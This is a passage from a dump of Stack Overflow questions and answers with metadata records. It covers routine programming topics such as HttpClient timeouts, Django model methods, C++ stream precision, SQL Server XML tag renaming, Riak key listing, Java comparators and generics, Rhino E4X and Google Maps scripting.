at HTTPClient.HTTPResponse.handleResponse(HTTPResponse.java:837)
at HTTPClient.HTTPResponse.getStatusCode(HTTPResponse.java:242)
Thanks
I will be updating my question with the FINDINGS below.
*
*There is no explicit timeout set on HttpClient which means that http
session timeout of the server might be taking an effect.
*SO_TIMEOUT for HttpClient is 0 which means that it should wait indefinitely.
A: Track 1
As per the javadocs Httpclient does not seem to have have a default value of the Socket timeout. To answer the question in your update - the session timeout will not be in effect here. Weblogic's default is 30 minutes for session timeout.
The server session timeout represents the amount of time the HttpSession will be retained in memory if the user has not accessed the server.
The socket timeout is the amount of time to keep the server socket open while data is being transferred back to the caller. This could even be the server is still processing and writing back data but it's taking rather long and the client has just timed out waiting for it.
Some links suggest this default is 60 seconds but the javadocs dont say anything, in any case you can set this value to something like 120 seconds to see if it helps
http://hc.apache.org/httpclient-3.x/apidocs/org/apache/commons/httpclient/params/HttpConnectionParams.html#setSoTimeout(int)
What you need is to time the timeouts - if that's clear. Meaning - Do these errors appear after 30 sec, 60 sec or 5 minutes of the outgoing request?
I would change the SO_Timeout and try again
Track 2 - OS parameters
There are the recommended BEA parameters for NDD values which govern how long incoming connections are kept open and how many are queued and so on. On Solaris these are got by running
/usr/sbin/ndd -get /dev/tcp tcp_time_wait_interval
/usr/sbin/ndd -get /dev/tcp tcp_conn_req_max_q
/usr/sbin/ndd -get /dev/tcp tcp_conn_req_max_q0
/usr/sbin/ndd -get /dev/tcp tcp_ip_abort_interval
/usr/sbin/ndd -get /dev/tcp tcp_keepalive_interval
Can you check the Oracle docs for the equivalent commands on Linux, and what values they should be set at. On Solaris my experience is the defaults are not enough and they need to be upped to BEA (Oracle) recommendations
Track 3: Weblogic / External Access Logs
Have you enabled HTTP Access Logs on the server? Do these failed requests show up with any response byte size or do they show 0 response size? What error code or HTTP status code is returned?
Or perhaps these timed out ones are not recorded in the access logs at all?
Here, I'm assuming the external server on which time outs occur is also Weblogic, if not - this question is directed to the external server team for their equivalent platform.
** Others **
Usually thread dumps help, but the thread dumps should be taken on the server which is having a timeout problem. You are the client and you have successfully obtained a connection, after that it times out when reading the response. So is the external server overloaded ? Lack of threads? CPU high? Too many concurrent requests?
A: One more aspect that has not been covered here is Firewall.
I have found that SocketTimeoutExceptions may often be related to a port not being open for communication or a firewall blocking communication from selected machines only.
In case you are debugging an issue make sure you also investigate if there is a firewall between the two machines trying to communicate and if there is one make sure the ports are available for communication between the two.
Interesting things about firewall related issues is that it does not let you know if the server is down or not responding. Typical behavior is to let the client wait forever. So you are always left in dark. A simple telnet on the server port should show if its available/open for communication.
Hope this helps.
A: You should investigate
(a) the default or explicit HttpClient read timeout, whichever is in use;
(b) why the server isn't responding within that period, if it is supposed to (view the server logs),
(c) otherwise why the timeout is set too short. Many timeouts are set too short, e.g. a few seconds. They should be a decent fraction of a minute, and if the expected response time is longer, double or triple the expected response time.
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592200",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "24"
}
|
Q: adding mysql rows in views.py I am creating a powerlifting database, or trying too. I have a users Squat, deadlift and Bench Press amounts. Lets say i want to add just there deadlift and benchpress amounts, for example, but not store it, in mysql shell i do this:
mysql> SELECT sq, dl, bp, sq+dl AS sq_+_dlweight FROM mysite_weightsprofile
Ok, i get that.
In views i can do this as so:
conn = mdb.connect('localhost', 'bobby', '#########', 'website');
cursor = conn.cursor()
cursor.execute("SELECT sq, dl, bp, sq+dl AS sq_+_dlweight FROM mysite_weightsprofile")
rows = cursor.fetchall()
However, this method seems quite convaluted, difficult to appropriate into templates and not very adjustable. Is there a way i can do the above using the short code
query_results = UserProfile.objects.all("?")
without having to create a cursor object.
A: Just add a method to your model. For instance:
class UserProfile(Model):
squats = IntegerField(null=True, blank=True)
deadlift = IntegerField(null=True, blank=True)
def squats_and_deadlifts(self):
return self.squats + self.deadlift
Then in your template:
{% for user_profile in query_results %}
Deadlifts + squats: {{ user_profile.squats_and_deadlifts }}
{% endfor %}
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592201",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
}
|
Q: Android Packaging Error: semicolon expected When I package my app, it's gets to 35% complete, then the following error message shows up and it stops.
Any idea what it could be? Thanks I appreciate it!
[ERROR] /Users/emes/Folder/Apps/MyApp/build/android/gen/com/*gameplay*/*mole*/ApplicationStylesheet.java:5: ';' expected
[ERROR] package com.gameplay.mole;
[ERROR] ^
[ERROR] /Users/emes/Folder/Apps/MyApp/build/android/gen/com/*gameplay*/*mole*/moleActivity.java:1: ';' expected
[ERROR] package com.gameplay.mole;
[ERROR] ^
[ERROR] /Users/emes/Folder/Apps/MyApp/build/android/gen/com/*gameplay*/*mole*/moleAppInfo.java:1: ';' expected
[ERROR] package com.gameplay.mole;
[ERROR] ^
[ERROR] /Users/emes/Folder/Apps/MyApp/build/android/gen/com/*gameplay*/*mole*/moleApplication.java:6: ';' expected
[ERROR] package com.gameplay.mole;
[ERROR] ^
[ERROR] /Users/emes/Folder/Apps/MyApp/build/android/gen/com/*gameplay*/*mole*/R.java:8: ';' expected
[ERROR] package com.gameplay.mole;
[ERROR] ^
[ERROR] 5 errors
[INFO] Compiling Android Resources... This could take some time
[INFO] Installing application on device
[ERROR] Failed installing com.*gameplay*.mole: pkg: /data/local/tmp/app.apk
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592203",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
}
|
Q: ostream equivalent of %.2f or %.2lf double d = 1/2.;
printf("%.2lf\n", d);
This prints out 0.50. This is what I want to replicate using ostream manipulators. However, none of the obvious iomanip manipulators let me set the minimum required decimal places (if I understood correctly, setprecision sets the maximum width). Is there a pure iostream or boost way to do this?
A: Use setprecision in combination with fixed.
According to section 22.4.2.2.2 of the standard, precision specifications on iostreams have exactly the same effect as they do for printf. And fixed gives the exact same behavior as printf's %f.
A: You can use std::fixed and std::setprecision from the iomanip header:
#include <iostream>
#include <iomanip>
int main(void) {
double d = 1.0 / 2;
std::cout << std::fixed << std::setprecision(2) << d << std::endl;
return 0;
}
This outputs 0.50 as desired.
A: The boost way: http://www.boost.org/doc/libs/1_47_0/libs/format/doc/format.html.
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592207",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "9"
}
|
Q: Sql Server XML tag manipulation I have an XML something like this.
<person>
<dwelling>
<street>S</street>
<city>C</city>
</dwelling>
<ssn>123-232-232</ssn>
</person>
I need to transform all the node names, let's say to upper case all the tag names. What is the fastest way to achieve this within SQL Server T-SQL?
Would it be...
*
*string split by <
*then on each token split by > (into LeftPart and RightPart)
*concat "<" function(LeftPart) + ">" + RightPart
*merge the items from (step 3)
If you have something more nifty, I'm all eyes.
A: declare @xml xml = '
<person id="10">
<dwelling>
<street>S</street>
<city>C</city>
<emptynode></emptynode>
<emptynode/>
</dwelling>
<ssn>123-232-232</ssn>
</person>
'
;with C(NodeName, NewNodeName) as
(
select distinct T.N.value('local-name(.)', 'nvarchar(max)'),
upper(T.N.value('local-name(.)', 'nvarchar(max)'))
from @xml.nodes('//*') as T(N)
)
select @xml = replace(replace(replace(replace(cast(@xml as nvarchar(max)),
'<' +NodeName+'/>', '<' +NewNodeName+'/>'), -- Empty node
'<' +NodeName+' ' , '<' +NewNodeName+' ' ), -- Start node with attribute
'<' +NodeName+'>' , '<' +NewNodeName+'>' ), -- Start node no attribute
'</'+NodeName+'>' , '</'+NewNodeName+'>' ) -- End node
from C
A: My solution:
SET ANSI_WARNINGS ON;
DECLARE @x XML =
'<person>
<dwelling>
<street>A</street>
<city>AA</city>
</dwelling>
<ssn>123-232-001</ssn>
</person>
<person>
<dwelling>
<street>B</street>
<city>BB</city>
</dwelling>
<ssn>123-232-002</ssn>
</person>
<person>
<dwelling>
<street>C</street>
</dwelling>
<ssn>123-232-003</ssn>
</person>
<person>
<dwelling>
<city>DD</city>
</dwelling>
<ssn>123-232-004</ssn>
</person>
';
SELECT T.XmlNode.value('(dwelling/street)[1]','VARCHAR(25)') AS [DWELLING/STREET]
,T.XmlNode.value('(dwelling/city)[1]','VARCHAR(25)') AS [DWELLING/CITY]
,T.XmlNode.value('(ssn)[1]','VARCHAR(25)') AS SSN
FROM @x.nodes('/person') T(XmlNode)
FOR XML PATH('PERSON')
Results:
<PERSON>
<DWELLING>
<STREET>A</STREET>
<CITY>AA</CITY>
</DWELLING>
<SSN>123-232-001</SSN>
</PERSON>
<PERSON>
<DWELLING>
<STREET>B</STREET>
<CITY>BB</CITY>
</DWELLING>
<SSN>123-232-002</SSN>
</PERSON>
<PERSON>
<DWELLING>
<STREET>C</STREET>
</DWELLING>
<SSN>123-232-003</SSN>
</PERSON>
<PERSON>
<DWELLING>
<CITY>DD</CITY>
</DWELLING>
<SSN>123-232-004</SSN>
</PERSON>
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592212",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
}
|
Q: Using a simple map-reduce to list all keys in a bucket vs. bucket.get_keys()? According to Riak's docs (using Python bindings), get_keys() is extremely expensive and not suitable for production. My question is whether a very simple map query is suitable. For instance, using a map stage only with the function:
function(v) { return [v.key]; }
is this going to perform better than get_keys()? why wouldn't Riak ship with this implementation instead of the current version of get_keys()? Is there a better way I should be listing keys for a bucket?
A: The get_keys() function calls list_keys in the back end and is considered to be an expensive operation because it performs a full scan of the key space. Depending on your Riak back end, this could also involve a full scan of the data as stored on disk (InnoStore springs to mind). The default storage back end (Bitcask) stores all of your keys in memory, so performance shouldn't be as much of a problem.
The other reason list_keys was considered expensive is because it was formerly a blocking operation as it involved what the Basho developers refer to as a 'fold' over all of the keys. list_keys now uses a snapshot of the bucket (instead of reading the live key space) and this makes it a lighter weight operation as well.
This is made easier with an upgrade to Riak 1.0. If you're using the LevelDB back end, you can enable secondary indexes on a bucket and use the $key index (automatically provided by Riak) to get you a list of all keys in a bucket.
As for why Riak doesn't ship with a better implementation of something like this: ask what the functionality is for. In an RDBMS, getting all primary keys of a table involves a full table scan. In Riak, getting all keys from a bucket requires scanning all data in every node and then shipping the key names back to the originating node, combining that data, and then sending it to the calling client. Because of Riak's distributed, unordered, state this operation is expensive no matter how you slice it. There are, as I outlined above, ways to make it better.
A: If you are using the eleveldb backend (which is implemented with LevelDB library) your keys are stored in an sorted order, so you can do something like:
def get_bucket_keys(riak_client, bucket_name, start='0', stop='Z'):
for record_key in riak_client.index(bucket_name, '$key', start, stop).run():
yield record_key
for key in get_bucket_keys(riak.RiakClient(), 'mybucket'):
print key
With eleveldb riak scans all the nodes for only the range specified. So, if you populate your buckets in a way that you can control key ranges, list bucket keys can be very performatic.
The trade off is that you can't specify a LIMIT for the number of keys processed on each node. That is why you NEED to control the keys for the buckets you need keys listing.
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592224",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
}
|
Q: how merge changes in a feature branch which already has changes from trunk I see very similar questions asked previously, but can't seem to find one that is the exact answer to mine. Sorry if this is a duplicate.
I am working on a feature branch, committed 10s of revisions, and every now and then I have been merging revisions on trunk into my feature branch. Now the feature is ready and working, and I want to merge my changes back to trunk. In plot, this is
trunk --------------------^
\ \ \ ?
feat v-----v-----v----?
My first thought was to do a straighforward whole branch merge, whereby I merge changes on feat since all the way back when the branch was forked off, until the HEAD. But the trouble I see is that intermediate revisions that were merged from trunk (including several file additions and removals) cause conflicts when merged back to trunk again.
I am wondering whether the whole branch merge is the right way to do this, despite the conflicts? Or, was that simply a bad idea to be doing intermediate merges from the trunk onto the the feat; albeit, that being somewhat necessary?
Thanks!
A: The way that this has been tackled where I've worked previously is that just before the merge back into trunk you do one final rebase. This means that the only changes getting checked into trunk would be the ones that have occured on your branch, and also since you just rebased it should go smoothly.
*
*Pull the latest changes from trunk to your branch.
*Fix conflicts, make the application compile, etc.
*Merge your branch into trunk.
A: The whole technique is named in Subversion "Reintegrate a branch". You should notice that after the reintegration, you should throw away your branch (local copy and the branch in Subversion repository), just to ensure, that it is not used any more. The SVN red book documentation explains in an example which steps to take (the same as @Daemin described).
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592225",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "3"
}
|
Q: How to sort an java.util.ArrayList based on ChildType? public interface Human<T> extends Comparable<T>{ }
public class Men implements Human<Men>{
public Men(String firstName) {
this.firstName = firstName;
}
.....
}
public class Women implements Human<Women>{
public Women(String firstName) {
this.firstName = firstName;
}
.....
}
public class MainTest{
public static void main(String[] args) {
List<Human> engineers= new ArrayList<Human>();
engineers.add(new Men("A"));
engineers.add(new Women("A"));
engineers.add(new Men("C"));
engineers.add(new Men("E"));
engineers.add(new Men("Z"));
engineers.add(new Women("J"));
engineers.add(new Women("B"));
engineers.add(new Men("X"));
engineers.add(new Men("O"));
engineers.add(new Women("G"));
Collections.sort(engineers);
System.out.println(.... print the engineers array...)
}
Output
Men(A); Men(C); Men(E); Men(O); Men(X); Men(Z) Women(A); Women(B);
Women(G); Women(AJ);
My sorted the arraylist should to be initially sorted in terms of the TYPE (Men or Women) and the secondary sort is based on firstname. How can I best possibly accomplish this?
I tried the Collections.sort(....)
Couldnt get the desired results.
Thanks in advance
A: You probably mean
public interface Human extends Comparable<Human> {}
That is: Human is comparable to other Humans. That being the case, if you want to compare Humans based on type followed by name, then your interface Human needs to express both of those properties:
public interface Human extends Comparable<Human> {
enum Type { MAN, WOMAN }
Type getType();
String getName();
}
Then write an appropriate implementation of compareTo() to take both type and name into account, and use Collections.sort() to sort.
A: You need to use a comparator and Collections.sort(List l, Comparator c)
static final Comparator<Human> MyComparator =
new Comparator<Human>()
{
public int compare(Human e1, Human e2)
{
// Your custom comparison code goes here
}
};
Collections.sort(engineers, MyComparator);
Additional info can be found via the tutorial on object ordering:
http://download.oracle.com/javase/tutorial/collections/interfaces/order.html
A: Are you guys are recommending this ?
public class HumanComparator implements java.util.Comparator<HumanBeings> {
@Override
public int compare(HumanBeings o1, HumanBeings o2) {
if(o1 instanceof Men && o2 instanceof Men)
return 0;
else if(o1 instanceof Men && o2 instanceof Women)
return -1;
else if (o1 instanceof Women && o2 instanceof Men)
return 1;
return 0;
}
}
.... and add more code to further sort by firstname...
A: Comparator implementation based on Ryan Stewart's solution. Works great!
Collections.sort(engineers, new Comparator<Human>() {
@Override
public int compare(Human o1, Human o2) {
if(o1.getType().equals(o2.getType())) {
return o1.getFirstName().compareTo(o2.getFirstName());
} else {
return o1.getType().compareTo(o2.getType());
}
}
});
A: class HumanComparator implements Comparator<Human>{
@Override
public int compare(Human humanObj1, Human humanObj2) {
int index;
if(humanObj1 instanceof Men && humanObj2 instanceof Men){
String firstName1 = humanObj1.getFirstName();
String firstName2 = humanObj2.getFirstName();
index = firstName1.compareTo(firstName2);
}else if(humanObj1 instanceof Women && humanObj2 instanceof Women){
String firstName1 = humanObj1.getFirstName();
String firstName2 = humanObj2.getFirstName();
index = firstName1.compareTo(firstName2);
}else if(humanObj1 instanceof Men && humanObj2 instanceof Women){
index =-1;
}else if(humanObj1 instanceof Women && humanObj2 instanceof Men){
index =+1;
}else{
index =0;
}
return index;
}
}
and you can sort the collection using below :
Collections.sort(engineers ,new HumanComparator());
A: I recommend to use "Comparator" interface.
Write a different class which implements this interface.
Then in compare method write the appropriate code which checks for the instance and then the member of the instance.
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592231",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "3"
}
|
Q: Trouble deploying Django app to Heroku: name 'install' is not defined EDIT: I narrowed down the problem to the presence of the "distribute==0.6.10" line in the requirements.txt file. Removing that line fixes the problem, and haven't run into any errors from that line not being there... yet.
I'm following the tutorial here: http://devcenter.heroku.com/articles/django
Everything was going well, until I got to the part titled "Running a Worker". I have the following in my requirements.txt file:
Django==1.3
amqplib==1.0.1
anyjson==0.3.1
celery==2.3.3
distribute==0.6.10
django-celery==2.3.3
django-kombu==0.9.4
django-picklefield==0.1.9
gunicorn==0.12.2
kombu==1.4.1
psycopg2==2.4.2
pyparsing==1.5.6
python-dateutil==1.5
wsgiref==0.1.2
And I added the appropriate celery config to the end of my Procfile and settings.py as indicated in the instructions. When I deploy the app I get the following error:
Relaunching...
Traceback (most recent call last):
File "<string>", line 1, in <module>
NameError: name 'install' is not defined
Complete output from command /tmp/build_2o84wdweodb97/bin/python2.7 -c "import setuptools;__file__='/tmp/build_2o84wdweodb97/build/distribute/setup.py';exec(compile(open(__file__).read().replace('\r\n', '\n'), __file__, 'exec'))" install --single-version-externally-managed --record /tmp/pip-LIti3K-record/install-record.txt --install-headers /tmp/build_2o84wdweodb97/include/site/python2.7:
The full deploy log can be found here: http://pastie.org/2609107
Anybody seen this before or know how to fix it?
A: Using a newer version of distribute fixed the problem.
distribute==0.6.21
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592239",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "5"
}
|
Q: Does JPA @ElementCollection annotation always produce an one-to-many relationship? For this question, consider the following sample:
@Entity
public class File {
public static enum Permission { READABLE, WRITEABLE, EXECUTABLE }
@ElementCollection
@Enumerated(EnumType.ORDINAL)
Set<Permission> permissions;
// Omitted
}
Assuming that the enum values are stored in the ordinal form, does JPA always create an extra table for this set? Can I alter this in order to make this not to be an one-to-many relationship, i.e., using a column instead of an extra table?
Thanks.
A: *
*"one-to-many" is a type of entity association. This is a collection of values, so it can't be a one-to-many.
*It's physically impossible to store multiple values in a single field in a single row, so no, you can't make it do that.
*Essentially what you're asking for is a basic property, like private String permissions;. That would use a single column in the same table.
*If you're wanting to pack multiple values into a single value, like manually combining all the permissions into a comma-delimited string when Hibernate saves it, you'll want to write a custom UserType to do that.
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592242",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
}
|
Q: stages for developing NFC applications i am new to the NFC technology. i have experience in developing Android appllicaions. i need to get some basic concepts regarding the development of NFC applications. to start with, what are steps for developing NFC applications in a mobile phone? i came across to these stages... 1) NFC Chip design (hardware part), 2) software application development, 3)embedded firmware development, 4) Mobile device application development (Java, Android, Windows Mobile etc.). i cannot get any in-depth idea about these. which of the above points are available in the market for free?
as the first step, i just want to develop an API for a NFC enabled android phone. what are the points i need to consider? which SDK?
later, i would like to design hardware and embed it in a mobile and then develop API.
i have come across some APIs like... Google API, Open NFC API, contactless communication API. i dont know what are differences...
i would like to have a clear concept regarding the stages of NFC application development from scratch.
i also want to know about developing APIs in Symbian and iPhone...
A: You can install the Open NFC Add-on to eclipse:
http://open-nfc.org/wp/editions/android/
To develop and Android Application use the NFC API:
http://developer.android.com/guide/topics/nfc/index.html
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592247",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "3"
}
|
Q: Rhino E4X does not allow xml literal in {expression} I am using rhino1_7R2. I have found that the following program causes syntax error(illegally formed XML syntax):
function b(node) {
return <span>{node}{node}</span>;
}
a=<span>foo {b(<div>bar</div>)} baz</span>;
alert(a);
but it works:
function b(node) {
return <span>{node}{node}</span>;
}
var bar=<div>bar</div>;
a=<span>foo {b(bar)} baz</span>;
alert(a);
It seems to that Rhino does not allow litral xml in { expression }.
First I thought that the ECMAScript specification prohibits this.
But in Firefox(3.6.23) allowed this syntax. So it may be not because ECMA specification.
This is test page run in Firefox(it works):
<script>
function b(node) {
return <span>{node}{node}</span>;
}
a=<span>foo {b(<div>bar</div>)} baz</span>;
alert(a);
</script>
Can someone tell it is because Rhino's bug or specifications of either Rhino or Ecmascript?
I will attach test code in Java/Rhino. Regards.
import org.mozilla.javascript.Context;
import org.mozilla.javascript.ScriptableObject;
public class Main {
public static void main(String[] args) {
Context c=Context.enter();
ScriptableObject scope = c.initStandardObjects();
String source_OK =
"function b(node) { " +
" return <span>{node}{node}</span>;" +
"}" +
"var bar=<div>bar</div>;" +
"a=<span>foo {b(bar)} baz</span>; ";
Object a=c.evaluateString(scope, source_OK, "TEST", 1, null);
System.out.println(a);
String source_NG =
"function b(node) { " +
" return <span>{node}{node}</span>;" +
"}" +
"a=<span>foo {b(<div>bar</div>)} baz</span>; ";
a=c.evaluateString(scope, source_NG, "TEST", 1, null); //Error!
System.out.println(a);
Context.exit();
}
}
A: Sorry, I have found that it is a bug of Rhino by myself:
https://bugzilla.mozilla.org/show_bug.cgi?id=323890
I also sended a patch for this bug.
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592258",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
}
|
Q: What type parameter will be used if I call a generic method with a raw type as argument? I'm just curious what's the generated inferred T type when passing a raw to a T type. It does compile but with a warning.
public class GenericMethodInference {
static <T> void test5(List<T t>){} // clause (5)
public static void main(String [] args) {
List e = new ArrayList<Integer>();
test5(e); // clause (6) // ok but with warning.
}
A: This is done for backward compatibility. Before generics,
static void test5(List t){}
List e = ...;
test5(e);
When generics was introduced, they need to generify List and methods like test5(), without asking all usages like test5(e) to be rewritten and recompiled. So test5(e) must still be valid.
This is achieved by relaxing type inference rules and method signature matching rules.
Inference: List << List<T> this can't hold in the subtyping sense; however inference rules just ignore it; T has no constraints, and simply picked to be Object
Method signature: List e is is not subtype of the method parameter type List<Object>, however it is acceptable by "method invocation conversion", which allows "unchecked conversion" from List to List<Whatever>; the "unchecked conversion" triggers the mandatory compiler warning.
This is only of historical interest; no programmer today should care. Since obviously there's no way for List to be a subtype of List<T> whatever T is, we should practically treat it as error, and never write code like that (even though it compiles). A List<?> e would work.
A: Assigning a raw type to a generic type will assume no generic constraint (which will default to Object) but remove any compile-time type safety guarantees that might otherwise have existed.
But you cannot assign a raw to a List <Object> since it has been
erased
It sounds like there is a fundamental misunderstanding of type erasure here. The raw type is the end result of a generic type. You specified List<Integer>, the compiler verifies against that type information and then removes the <Integer> portion of that, inserting casts to Integer as appropriate from actions against the raw type of List.
That means that these two retrieval operations are exactly the same.
List<Integer> integerList = new ArrayList<Integer>();
integerList.add(5);
Integer i = integerList.get(0);
Integer ii = (Integer)((List)integerList).get(0);
For example, the following is legal. This only gives a warning (instead of causing a compiler error or runtime error) because we're acting on Object and are still within the appropriate bounds of the contained type.
List<Object> objects = (List)integerList;
Object value = objects.get(0);
System.out.println(value);
It will print out 5. Where the type system helps is if you try to do something like this.
List<String> badStringList = integerList;
It will give you a compiler error stating that there is a type mismatch. Using the raw type directly, however, will throw all of that type safety away and rely solely on your judgement for the correct types that should be used. This allows you to easily shoot yourself in the foot if you get it wrong.
List<String> badStringList = (List)integerList;
String badValue = badStringList.get(0); //ClassCastException is thrown at runtime
A: I would say that the inferred type would be Object
A: public class GenericMethodInference {
static <T> void test5(List<T> xx) {
System.out.println(xx.getClass()); //class java.util.ArrayList
System.out.println(xx.get(0).getClass()); //class java.lang.Integer
System.out.println(xx.get(1).getClass()); //class java.lang.String
} // clause (5)
public static void main(String[] args) {
List e = new ArrayList<Long>();
e.add(1);
e.add("2");
test5(e); // clause (6) // ok but with warning.
}
}
This confirms that the type inferred is Object type.
A: T is a generic one. It can accept any object.
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592260",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
}
|
Q: How to retrieve two IMAP4.select() I'd like to retrieve two folders using the select method. I'd like to get the "Inbox" as well as the "Sent".
Is there a way to do this? Currently, the only way I know of, I can only get one folder at a time using:
IMAP4.select('INBOX')
A: Selecting an IMAP folder does not retrieve any messages, it just selects that folder. If you to get a message (or attributes of it like flags or the internal date), you need to use FETCH.
If you want to get all messages in two folders, simply loop through each of them in turn.
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592262",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
}
|
Q: Designing a table to store EXIF data I'm looking to get the best performance out of querying a table containing EXIF data. The queries in question will only search the EXIF data for the specified strings and return the row index on a match.
With that said, would it better to store the EXIF data in a table with separate columns for each of the tags, or would storing all of the tags in a single column as one long delimited string suit me just as well?
There are around 115 EXIF tags I'll be storing, and each record would be around 1500 to 2000 chars in length if concatenated into a single string.
A: If you store them all in one column you're not going to be able to get performance benefits from indexes. You'll also be violating a cardinal rule of database design, which has its own consequences (each column should only store one piece of data).
I would probably use a structure similar to this:
CREATE TABLE Image_EXIF (
image_id INT,
exif_tag_id INT,
exif_value VARCHAR(100), -- I don't know what an appropriate size would really be
CONSTRAINT PK_Image_EXIF PRIMARY KEY CLUSTERED (image_id, exif_tag_id),
CONSTRAINT FK_Image_EXIF_image_id FOREIGN KEY image_id REFERENCES Images (image_id),
CONSTRAINT FK_Image_EXIF_exif_tag_id FOREIGN KEY exif_tag_id REFERENCES EXIF_Tags (exif_tag_id)
)
The EXIF_Tags table would have all of the valid tags and the Images table would hold the images. You can then have indexes on the exif_tag_id column and possibly the exif_value column for quick searching.
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592263",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
}
|
Q: tools similar to yourkit? I've been using yourkit, it's a great tool. I normally use the CPU consumption level curve, and thread drill-down against time.
but recently I am suspecting that yourkit is causing the random 20-seconds freeze in my application, since no excessive IO or GC is happening, and in such freeze period, the machine's CPU utilization drops down to about 5%, so it's not doing busy GC.
so I'd like a tool similar to yourkit, to try it out , to see if the issue is really due to yourkit
the following shows one freeze, you can see that the CPU usage is a straight line for the center period, that's because yourkit wasn't able to take samples during that period, in fact for that period JVM was frozen.
http://farm7.static.flickr.com/6157/6193700183_80297855d5_b.jpg
I checked that there is no stop-the-world GC in that period
thanks a lot
Yang
A: VisualVm has some of the features of yourkit.
A: You can try JProfiler (disclaimer: my company develops JProfiler). VisualVM has some basic profiling capabilities, but feature-wise it does not really compare to Yourkit or JProfiler.
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592264",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "2"
}
|
Q: Retrieving emails and storing them in MySQL How would one retrieve emails from an email server and put them into a mysql database?
Idealistically sticking with php. But could incorporate another language if needed.
A: Yes, there's.
If you're using a hosting solution with cPanel. You should take a look at
http://www.webmasters-central.com/article-blog/tutorials/email-pipe-tutorial-setting-up-email-piping/
http://devtrench.com/posts/simple-email-logger-using-cpanels-pipe-forwarder
(useful for php scripts)
If you're using a Postfix solution take a look at
https://serverfault.com/questions/258469/how-to-configure-postfix-to-pipe-all-incoming-email-to-a-script
http://evolt.org/incoming_mail_and_php?from=50
You should look for "piping email to php" or "piping email to python" or what the language you're using on google.
Anyway, with PHP or Python you can achieve that, getting your incoming email to a DB.
A: Here is the whole class which can help you do this i have used it and its working
http://www.phpclasses.org/package/3324-PHP-Retrieve-e-mail-messages-into-a-MySQL-database.html
further you can get help from
PHP email to mysql database issue when not deleting emails from server
see the code he used, its is done by imap_open also see this
http://php.net/manual/en/function.imap-open.php
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592267",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
}
|
Q: XML Schema (Attributes) and (Multiple Elements) In An XML Schema. Say I already have a root element and this is a child element
<car type="firebird">1970 Red Firebird</car>
In an XML Schema how do I declare that attribute?
Also if I have more than one element and declare "minOccours" do I need to declare "maxOccours" also? I'm using this link as an example.
XML Schema: how to have multiple identical elements?
A: You declare a "complex type with simple content"
<xs:complexType name="car">
<xs:simpleContent>
<xs:extension base="xs:string">
<xs:attribute name="type" type="xs:string"/>
</xs:extension>
<xs:simpleContent>
</xs:complexType>
(Not tested, and not necessarily right - the syntax isn't exactly memorable).
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592268",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
}
|
Q: How can I reference a google map in another script? How can I reference a google map in another script? On my WordPress page, I load javascript (a) that builds my map, and jQuery script (b). I need to figure out some way passing a reference to the map to script (b). The problem is that the map is created inside a function in script (a).
In script (a), I've got:
function map_maker_js( args ) {
var map = new google.maps.Map(document.getElementById( args['id'] ), myOptions);
//code for building map continues
}
In script (b):
jQuery.noConflict();
jQuery(document).ready(function($) {
//say I need the map's bounds
//how can I access map, in order for this to work:
map.getBounds();
}
I saw this stackoverflow solution, but I couldn't get it to work.
A: stick it in the global namespace.
function map_maker_js( args ) {
window.map = new google.maps.Map(
document.getElementById( args['id'] ), myOptions);
//code for building map continues
}
jquery
jQuery.noConflict();
jQuery(document).ready(function($) {
window.map.getBounds();
}
but make sure map_maker_js finishes running first.
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592273",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
}
|
Q: ExtJs Drag drop tree, get drop Position I have drag drop tree
and this is the viewConfig property
viewConfig: {
plugins: {
ptype: 'treeviewdragdrop',
appendOnly: true
},
listeners: {
beforedrop: function (node,data,overModel,dropPosition,dropFunction,options){console.log(overModel)}
}
},
I have two tree grid, what i want to get dropTarget position. Eg. Before node 3, after node 5...just like that
Anyone can help me?
Thanks
A: I think this is probably very old already. "overModel" is what you are interested in.
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592275",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
}
|
Q: Any photo gallery library for Android? Since the built-in photo gallery widget in Android is not good enough (easily crashes), I am looking for a 3rd party photo gallery library ?
Please recommend if you have some good choices.
Thank you.
